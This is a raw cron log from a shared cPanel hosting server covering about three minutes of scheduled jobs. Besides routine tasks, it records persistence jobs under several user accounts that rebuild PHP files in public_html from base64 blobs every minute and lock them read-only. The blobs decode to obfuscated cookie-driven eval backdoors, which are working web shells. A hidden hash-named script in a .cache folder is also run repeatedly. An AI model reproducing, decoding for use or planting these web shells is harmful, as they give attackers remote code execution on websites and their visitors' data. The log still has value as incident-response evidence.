Jun  7 05:25:02 medusa CROND[13360]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:25:02 medusa CROND[13361]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:25:02 medusa CROND[13364]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:25:02 medusa CROND[13365]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:25:02 medusa CROND[13371]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:25:02 medusa CROND[13372]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:25:02 medusa CROND[13375]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:25:02 medusa CROND[13358]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:25:02 medusa CROND[13367]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:25:02 medusa CROND[13366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:26:02 medusa CROND[14903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:26:02 medusa CROND[14910]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:26:02 medusa CROND[14912]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:26:02 medusa CROND[14913]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:26:02 medusa CROND[14914]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:26:02 medusa CROND[14915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:26:02 medusa CROND[14917]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:26:02 medusa CROND[14919]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:26:02 medusa CROND[14918]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:26:02 medusa CROND[14916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:26:02 medusa CROND[14923]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:26:02 medusa CROND[14925]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:26:02 medusa CROND[14926]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:26:02 medusa CROND[14927]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:27:01 medusa CROND[16341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:27:01 medusa CROND[16351]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:27:01 medusa CROND[16353]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:27:01 medusa CROND[16354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:27:01 medusa CROND[16355]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:27:01 medusa CROND[16357]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:27:01 medusa CROND[16360]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:27:01 medusa CROND[16361]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:27:01 medusa CROND[16362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:27:01 medusa CROND[16365]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
